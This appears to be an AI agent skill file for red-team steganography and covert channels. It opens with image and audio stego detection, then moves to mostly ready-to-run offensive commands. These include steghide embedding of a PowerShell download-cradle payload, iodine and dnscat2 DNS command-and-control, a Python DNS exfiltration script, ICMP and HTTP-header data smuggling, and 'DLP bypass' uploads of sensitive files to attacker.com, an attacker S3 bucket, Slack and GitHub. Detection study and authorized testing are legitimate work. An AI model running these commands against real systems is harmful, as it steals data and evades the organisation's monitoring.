---
name: rt-steganography
description: "Steganography detection, extraction, and covert channel exploitation skill for authorized engagements. LSB steganography detection in images/audio, StegSolve analysis, outguess and steghide extraction, DNS tunneling for C2 and data exfiltration, ICMP covert channel, HTTP header hiding, and polyglot file creation. Use when testing data exfiltration controls, covert channel detection, or analyzing suspicious files."
---

# rt-steganography — Steganography & Covert Channels

## Overview

Steganography hides data inside legitimate files (images, audio, video, documents). Covert channels transmit data through unexpected protocol fields. In red team engagements these are used for: stealthy C2 communication, data exfiltration bypassing DLP, and hiding payloads inside innocent-looking files.

---

## Phase 1 — Steganography Detection

```bash
# Install tools
apt install steghide outguess stegosuite binwalk exiftool -y
pip3 install stegano

# Check file for embedded data
steghide info suspicious.jpg       # Check if steghide used
steghide extract -sf suspicious.jpg -p ""  # Try empty password

# Check metadata for hidden info
exiftool suspicious.jpg            # EXIF data — can contain hidden text
exiftool -all= clean.jpg           # Strip all metadata (for cleanup)

# binwalk — find embedded files
binwalk suspicious.jpg
binwalk -e suspicious.jpg          # Extract embedded content
# Look for: PK (zip), JFIF (jpeg), PNG header embedded in another file

# Check for appended data after EOF
xxd suspicious.jpg | tail -20
# Normal JPEG ends with: FF D9
# Data after FF D9 = hidden content

# File size anomaly detection
# Expected JPG at resolution X×Y should be ~N bytes
# If much larger → hidden data likely
identify -verbose suspicious.jpg | grep "File size"
```

### 1b — LSB Analysis with StegSolve

```bash
# StegSolve — visual steganography analyzer
# java -jar stegsolve.jar

# Manual LSB check (Python)
python3 << 'EOF'
from PIL import Image

def extract_lsb(image_path, num_bits=1):
    img = Image.open(image_path).convert("RGB")
    pixels = list(img.getdata())
    bits = ""
    for pixel in pixels:
        for channel in pixel:
            bits += str(channel & 1)  # LSB of each channel
    # Convert bits to text
    chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
    text = ""
    for c in chars:
        try:
            char = chr(int(c, 2))
            if char.isprintable():
                text += char
            else:
                break
        except: break
    return text[:500]  # First 500 printable chars

result = extract_lsb("suspicious.jpg")
print("LSB content:", result)
EOF
```

### 1c — Statistical Detection

```bash
# StegoVeritas — comprehensive stego analysis
pip3 install stegoveritas
stegoveritas suspicious.jpg -out ./analysis/
# Tests: LSB, metadata, appended data, color histograms, etc.

# zsteg — detect in PNG/BMP
gem install zsteg
zsteg suspicious.png        # Try all common stego methods
zsteg -a suspicious.png     # Try all channels

# Audio steganography detection
apt install mp3stego sox -y
mp3stego -X suspicious.mp3  # Check MP3 for hidden data

# Spectrum analysis (audio)
python3 << 'EOF'
import numpy as np
import scipy.io.wavfile as wav
import matplotlib.pyplot as plt

rate, data = wav.read("suspicious.wav")
freq = np.fft.fft(data[:rate])  # First second
plt.specgram(data, Fs=rate, cmap='inferno')
plt.savefig("spectrum.png")
# Visual: hidden text/images sometimes visible in spectrogram
EOF
```

---

## Phase 2 — Embed Data (Red Team Exfiltration)

```bash
# Steghide — embed file in JPEG/BMP/WAV/AU
steghide embed -cf cover.jpg -sf secret.txt -p "passphrase" -sf output.jpg
# -cf = cover file, -sf = secret file, -p = password

# Hide PowerShell payload in image
echo "IEX(New-Object Net.WebClient).DownloadString('http://C2/shell.ps1')" > payload.txt
steghide embed -cf photo.jpg -sf payload.txt -p "" -f  # No password, force

# Extract on target
steghide extract -sf photo.jpg -p ""

# Outguess (harder to detect)
outguess -k "secretkey" -d hidden.txt cover.jpg output.jpg
outguess -k "secretkey" -r output.jpg recovered.txt

# Hide in document metadata
exiftool -Comment="BASE64_PAYLOAD" document.pdf
exiftool -Artist="$(cat payload.txt | base64)" photo.jpg

# Polyglot file (valid as two different formats)
# JPEG + ZIP polyglot — opens as image AND contains ZIP
cat cover.jpg payload.zip > polyglot.jpg
# unzip polyglot.jpg → extracts ZIP contents
# browser/image viewer → shows image
```

---

## Phase 3 — DNS Tunneling (C2 / Exfiltration)

```bash
# DNS tunneling encodes data in DNS queries/responses
# Bypasses most firewalls (DNS port 53 almost always allowed)

# iodine — full IP tunnel over DNS
# Server (needs a domain with NS record pointing to your server)
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# Client (on compromised host)
iodine -f -P password tunnel.attacker.com
# Creates tun0 with 10.0.0.2 → full IP connectivity over DNS

# dnscat2 — DNS C2 (simpler, no root needed)
# Server
ruby dnscat2.rb --dns "domain=tunnel.attacker.com,host=0.0.0.0" --secret=password

# Client (on target)
./dnscat --dns domain=tunnel.attacker.com --secret=password
# Or PowerShell client:
IEX (New-Object Net.WebClient).DownloadString('http://C2/Invoke-DNScat.ps1')
Invoke-DNScat -Domain tunnel.attacker.com -Secret password

# Manual DNS exfiltration (no tool needed — extreme environments)
# Split secret into 63-char DNS label chunks
python3 << 'EOF'
import base64, subprocess

secret = open("sensitive_data.txt", "rb").read()
encoded = base64.b32encode(secret).decode().lower().rstrip("=")
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
for i, chunk in enumerate(chunks):
    # Each chunk = DNS query → logged by attacker's DNS server
    subprocess.run(["nslookup", f"{i}.{chunk}.exfil.attacker.com"], capture_output=True)
EOF
```

---

## Phase 4 — ICMP Covert Channel

```bash
# ptunnel-ng — TCP over ICMP (bypasses TCP-blocking firewalls)
# Server (attacker)
ptunnel-ng -p ATTACKER_IP

# Client (compromised host — only ICMP allowed out)
ptunnel-ng -p ATTACKER_IP -lp 8022 -da INTERNAL_SSH_HOST -dp 22
# Routes TCP port 8022 → ICMP → INTERNAL_SSH_HOST:22
ssh -p 8022 user@localhost

# Manual ICMP data hiding
python3 << 'EOF'
from scapy.all import *

# Hide data in ICMP echo request payload
secret = b"stolen_credential_hash_here"
packet = IP(dst="8.8.8.8") / ICMP(type=8, code=0) / Raw(load=secret)
send(packet)

# Receive: monitor ICMP on attacker side
sniff(filter="icmp and icmp[icmptype]=8", 
      prn=lambda p: print("RECV:", bytes(p[Raw])))
EOF
```

---

## Phase 5 — HTTP/HTTPS Covert Channels

```bash
# Hide data in HTTP headers (not logged by most proxies)
curl https://target.com/ \
  -H "X-Custom-Data: $(echo 'stolen data' | base64)" \
  -H "X-Request-ID: $(cat /etc/passwd | head -1 | base64)"

# HTTP timing channel (encode bits via request timing)
python3 << 'EOF'
import requests, time

def send_bit(bit, url):
    if bit == '1':
        time.sleep(0.5)  # Delay = 1 bit
    requests.get(url)    # Request = 0 bit

secret = "SECRET"
bits = ''.join(format(ord(c), '08b') for c in secret)
for bit in bits:
    send_bit(bit, "https://attacker.com/beacon")
EOF

# Exfil in User-Agent or other headers
# (many DLP tools don't inspect all headers)
curl "https://www.google.com" \
  -H "User-Agent: Mozilla/5.0 $(cat sensitive.txt | base64 | tr -d '\n' | head -c 100)"
```

---

## Phase 6 — DLP Bypass Techniques

```bash
# Bypass Data Loss Prevention controls

# Encode data to avoid keyword detection
cat sensitive.txt | base64 | curl -X POST https://attacker.com/ -d @-
cat sensitive.txt | gzip | base64 | curl -X POST https://attacker.com/ -d @-

# Embed in image (DLP can't scan steganography)
steghide embed -cf innocent.jpg -sf sensitive.txt -p "key" && \
  curl -X POST https://fileupload.attacker.com/ -F "file=@innocent.jpg"

# Exfil via cloud storage (often whitelisted by DLP)
aws s3 cp sensitive.txt s3://attacker-bucket/ --acl public-read
# Or: Google Drive, Dropbox, OneDrive via API

# Exfil over allowed SaaS APIs
# Slack: post to attacker-controlled workspace
curl -X POST https://slack.com/api/files.upload \
  -H "Authorization: Bearer ATTACKER_TOKEN" \
  -F file=@sensitive.txt -F channels=C0123456

# GitHub Gist
curl -X POST https://api.github.com/gists \
  -H "Authorization: token ATTACKER_TOKEN" \
  -d "{\"public\":false,\"files\":{\"data.txt\":{\"content\":\"$(base64 sensitive.txt)\"}}}"
```

---

## Skill Levels

**BEGINNER:** steghide/binwalk for detection · Basic LSB extraction · DNS exfiltration via nslookup

**INTERMEDIATE:** iodine/dnscat2 C2 tunnel · ICMP covert channel · Embed payloads in images · DLP bypass via encoding

**ADVANCED:** ptunnel-ng TCP-over-ICMP · Custom ICMP/HTTP covert channels · Statistical stego detection

**EXPERT:** Custom DNS C2 protocol · Timing covert channels · Steganography in video streams · Anti-forensic exfiltration

---

## References

- iodine: https://github.com/yarrick/iodine
- dnscat2: https://github.com/iagox86/dnscat2
- ptunnel-ng: https://github.com/utoni/ptunnel-ng
- steghide: https://steghide.sourceforge.net
- zsteg: https://github.com/zed-0xff/zsteg
- MITRE T1048: https://attack.mitre.org/techniques/T1048/
